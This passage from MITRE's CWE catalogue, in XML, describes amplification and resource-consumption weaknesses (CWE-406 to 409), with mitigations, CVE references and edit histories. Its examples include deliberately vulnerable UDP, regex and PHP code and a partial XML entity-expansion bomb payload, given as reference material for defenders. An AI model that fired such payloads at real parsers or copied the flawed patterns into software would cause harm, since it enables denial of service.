					<Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>Szilárd Pfeiffer</Contribution_Name>
               <Contribution_Organization>Balasys IT Security</Contribution_Organization>
               <Contribution_Date>2021-11-11</Contribution_Date>
               <Contribution_Comment>Submitted content that led to modifications in applicable platforms, common consequences, potential mitigations, demonstrative examples, observed examples.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="406" Name="Insufficient Control of Network Message Volume (Network Amplification)" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the product to transmit more traffic than should be allowed for that actor.</Description>
         <Extended_Description>In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="405" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>If the application uses UDP, then it could potentially be subject to spoofing attacks that use the inherent weaknesses of UDP to perform traffic amplification, although this problem can exist in other protocols or contexts.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Amplification</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>System resources can be quickly consumed leading to poor application performance or system crash. This may affect network performance and could be used to attack other systems and applications relying on network performance.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>An application must make network resources available to a client commensurate with the client's access level.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Policy</Phase>
               <Description>Define a clear policy for network resource allocation and consumption.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>An application must, at all times, keep track of network resources and meter their usage appropriately.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-113">
               <Intro_Text>This code listens on a port for DNS requests and sends the result to the requesting address.</Intro_Text>
               <Example_Code Nature="Bad" Language="Python">
                  <xhtml:div>sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)<xhtml:br/>sock.bind( (UDP_IP,UDP_PORT) )<xhtml:br/>while true:<xhtml:div style="margin-left:1em;">
                        <xhtml:div>data = sock.recvfrom(1024)<xhtml:br/>if not data:<xhtml:div style="margin-left:1em;">break</xhtml:div>
                           <xhtml:br/>(requestIP, nameToResolve) = parseUDPpacket(data)<xhtml:br/>record = resolveName(nameToResolve)<xhtml:br/>sendResponse(requestIP,record)</xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-0513</Reference>
               <Description>Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0513</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1379</Reference>
               <Description>DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1379</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0041</Reference>
               <Description>Large datagrams are sent in response to malformed datagrams.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0041</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1066</Reference>
               <Description>Game server sends a large amount.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1066</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2013-5211</Reference>
               <Description>composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2013-5211</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Network Amplification</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">This can be resultant from weaknesses that simplify spoofing attacks.</Note>
            <Note Type="Theoretical">Network amplification, when performed with spoofing, is normally a multi-channel attack from attacker (acting as user) to amplifier, and amplifier to victim.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Enabling_Factors_for_Exploitation, Name, Other_Notes, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Enabling_Factors_for_Exploitation, Modes_of_Introduction</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-10-14">Network Amplification</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="407" Name="Inefficient Algorithmic Complexity" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="405" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Quadratic Complexity</Term>
               <Description>Used when the algorithmic complexity is related to the square of the number of inputs (N^2)</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>The typical consequence is CPU consumption, but memory consumption and consumption of other resources can also occur.</Note>
            </Consequence>
         </Common_Consequences>
	 <Demonstrative_Examples>
	   <Demonstrative_Example Demonstrative_Example_ID="DX-158">
             <Intro_Text>This example attempts to check if an input string is a "sentence" [REF-1164].</Intro_Text>
             <Example_Code Nature="Bad" Language="JavaScript">
               var test_string = "Bad characters: $@#";<xhtml:br/>
               var bad_pattern  = /^(\w+\s?)*$/i;<xhtml:br/>
               var result = test_string.search(bad_pattern);
             </Example_Code>
             <Body_Text><xhtml:p>The regular expression has a vulnerable backtracking clause inside (\w+\s?)*$ which can be triggered to cause a Denial of Service by processing particular phrases.</xhtml:p>
	     <xhtml:p>To fix the backtracking problem, backtracking is removed with the ?= portion of the expression which changes it to a lookahead and the \2 which prevents the backtracking. The modified example is:</xhtml:p></Body_Text>
             <Example_Code Nature="Good" Language="JavaScript">
               var test_string = "Bad characters: $@#";<xhtml:br/>
               var good_pattern  = /^((?=(\w+))\2\s?)*$/i;<xhtml:br/>
               var result = test_string.search(good_pattern);
             </Example_Code>
             <Body_Text>Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx.</Body_Text>
	   </Demonstrative_Example>
	 </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-32617</Reference>
               <Description>C++ library for image metadata has "quadratic complexity" issue with unnecessarily repetitive parsing each time an invalid character is encountered</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-32617</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-10735</Reference>
               <Description>Python has "quadratic complexity" issue when converting string to int with many digits in unexpected bases</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-10735</Link>
            </Observed_Example>
            <Observed_Example>
              <Reference>CVE-2020-5243</Reference>
              <Description>server allows ReDOS with crafted User-Agent strings, due to overlapping capture groups that cause excessive backtracking.</Description>
              <Link>https://www.cve.org/CVERecord?id=CVE-2020-5243</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2014-1474</Reference>
               <Description>Perl-based email address parser has "quadratic complexity" issue via a string that does not contain a valid address</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-1474</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0244</Reference>
               <Description>CPU consumption via inputs that cause many hash table collisions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0244</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0364</Reference>
               <Description>CPU consumption via inputs that cause many hash table collisions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0364</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1203</Reference>
               <Description>Product performs unnecessary processing before dropping an invalid packet.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1203</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1501</Reference>
               <Description>CPU and memory consumption using many wildcards.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1501</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2527</Reference>
               <Description>Product allows attackers to cause multiple copies of a program to be loaded more quickly than the program can detect that other copies are running, then exit. This type of error should probably have its own category, where teardown takes more time than initialization.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2527</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6931</Reference>
               <Description>Network monitoring system allows remote attackers to cause a denial of service (CPU consumption and detection outage) via crafted network traffic, aka a "backtracking attack."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6931</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-3380</Reference>
               <Description>Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-3380</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-3379</Reference>
               <Description>Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-3379</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2506</Reference>
               <Description>OS allows attackers to cause a denial of service (CPU consumption) via crafted Gregorian dates.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2506</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1792</Reference>
               <Description>Memory leak by performing actions faster than the software can clear them.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1792</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>Cryptography</Functional_Area>
         </Functional_Areas>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Algorithmic Complexity</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-395"/>
            <Reference External_Reference_ID="REF-1164"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Functional_Areas, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Name, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-06-20">Algorithmic Complexity</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="408" Name="Incorrect Behavior Order: Early Amplification" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product allows an entity to perform a legitimate but expensive operation before authentication or authorization has taken place.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="405" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="696" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Amplification</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Note>System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.</Note>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-157">
               <Intro_Text>This data prints the contents of a specified file requested by a user.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function printFile($username,$filename){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>//read file into string</xhtml:i>
                           <xhtml:br/>$file = file_get_contents($filename);<xhtml:br/>if ($file &amp;&amp; isOwnerOf($username,$filename)){<xhtml:div style="margin-left:1em;">echo $file;<xhtml:br/>return true;</xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">echo 'You are not authorized to view this file';</xhtml:div>}<xhtml:br/>return false;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-2458</Reference>
               <Description>Tool creates directories before authenticating user.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2458</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Early Amplification</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">Overlaps authentication errors.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Early Amplification</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="409" Name="Improper Handling of Highly Compressed Data (Data Amplification)" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.</Description>
         <Extended_Description>An example of data amplification is a "decompression bomb," a small ZIP file that can produce a large amount of data when it is decompressed.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="405" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Amplification</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Note>System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.</Note>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-53">
               <Intro_Text>The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0. Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1. Ultimately, we reach entity THIRTYTWO, which will expand to 2^32 characters in length, or 4 GB, probably consuming far more data than expected.</Intro_Text>
               <Example_Code Nature="Attack" Language="XML">
                  <xhtml:div>&lt;?xml version="1.0"?&gt;<xhtml:br/>&lt;!DOCTYPE MaliciousDTD [<xhtml:br/>&lt;!ENTITY ZERO "A"&gt;<xhtml:br/>&lt;!ENTITY ONE "&amp;ZERO;&amp;ZERO;"&gt;<xhtml:br/>&lt;!ENTITY TWO "&amp;ONE;&amp;ONE;"&gt;<xhtml:br/>...<xhtml:br/>&lt;!ENTITY THIRTYTWO "&amp;THIRTYONE;&amp;THIRTYONE;"&gt;<xhtml:br/>]&gt;<xhtml:br/>&lt;data&gt;&amp;THIRTYTWO;&lt;/data&gt;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2009-1955</Reference>
               <Description>XML bomb in web server module</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1955</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1564</Reference>
               <Description>Parsing library allows XML bomb</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1564</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Data Amplification</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>IDS04-J</Entry_ID>
               <Entry_Name>Limit the size of files passed to ZipInputStream</Entry_Name>
